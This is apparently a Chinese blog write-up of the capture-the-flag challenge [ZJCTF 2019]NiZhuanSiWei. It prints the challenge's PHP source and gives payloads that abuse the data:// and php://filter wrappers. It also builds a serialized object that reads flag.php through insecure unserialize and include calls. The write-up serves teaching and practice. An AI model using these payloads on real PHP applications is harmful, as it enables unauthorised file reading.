当前位置: 首页 > news >正文

[ZJCTF 2019]NiZhuanSiWei - 伪协议+文件包含+反序列化

[ZJCTF 2019]NiZhuanSiWei

  • 1 解题流程
    • 1.1 分析
    • 1.2 解题

1
题目源码:

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo "Not now!";exit(); }else{include($file);  //useless.php$password = unserialize($password);echo $password;}
}
else{highlight_file(__FILE__);
}
?> 

1 解题流程

1.1 分析

1、get传text、file、password参数
2、file_get_contents($text,‘r’)的内容要等于welcome to the zjctf才能继续,我们又不知道哪个文件是这个内容,所以直接data伪协议传文件
3、file值不能包含flag
4、提示我们去包含useless.php(先看源码再包含)
5、password需要传递序列化数据(肯定有类给我们)

1.2 解题

  1. ?text=data://text/plain,welcome to the zjctf
  2. ?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
    PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo解码得到:
    <?php  class Flag{  //flag.php  public $file;  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }  }  
    ?>  
    
  3. flag在flag.php中,我们的目标是toString的file_get_contents
    构造pop链
    <?php  class Flag{  //flag.php  public $file;  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }  }  $f = new Flag();$f->file = "flag.php";echo serialize($f);
    ?>  
    得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  
    
  4. payload=?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    注意:此时file需要真正包含useless.php
http://www.lryc.cn/news/187025.html

相关文章:

  • 如何提升和扩展 PostgreSQL — 从共享缓冲区到内存数据网格
  • Elasticsearch:使用 huggingface 模型的 NLP 文本搜索
  • 论文解析——异构多芯粒神经网络加速器
  • MyBatisPlus(十六)逻辑删除
  • 基于黏菌优化的BP神经网络(分类应用) - 附代码
  • C语言基础语法复习08-位域bit-fields
  • 3.2.OpenCV技能树--二值图像处理--图像腐蚀与膨胀
  • 基于FPGA的数字时钟系统设计
  • linux centos Python + Selenium+Chrome自动化测试环境搭建?
  • mysql面试题20:有哪些合适的分布式主键方案
  • git的基础操作
  • lua 中文字符的判断简介
  • SSM-XML整合
  • 线性代数小例子
  • ASP.NET Core 开发 Web API
  • QImage函数setAlphaChannel
  • 区块链、隐私计算、联邦学习、人工智能的关联
  • Unity可视化Shader工具ASE介绍——4、ASE的自定义模板使用
  • FastAPI学习-22.response 异常处理 HTTPException
  • 75.颜色分类
  • 浅谈分散式存储项目MEMO
  • ansible角色运行指定角色路径
  • 【数据结构-字符串 三】【字符串转换】字符串解码
  • LabVIEW中不同颜色连线的含义
  • 如何才能在Ubuntu系统部署RabbitMQ服务器并公网访问
  • PCL点云处理之使用变换矩阵对点云去中心化(二百零七)
  • ubuntu编译安装并测试opencv
  • Vue3最佳实践 第七章 TypeScript 上
  • 【maven私库nexus开机自启动】
  • ctfshow-web5(md5弱比较)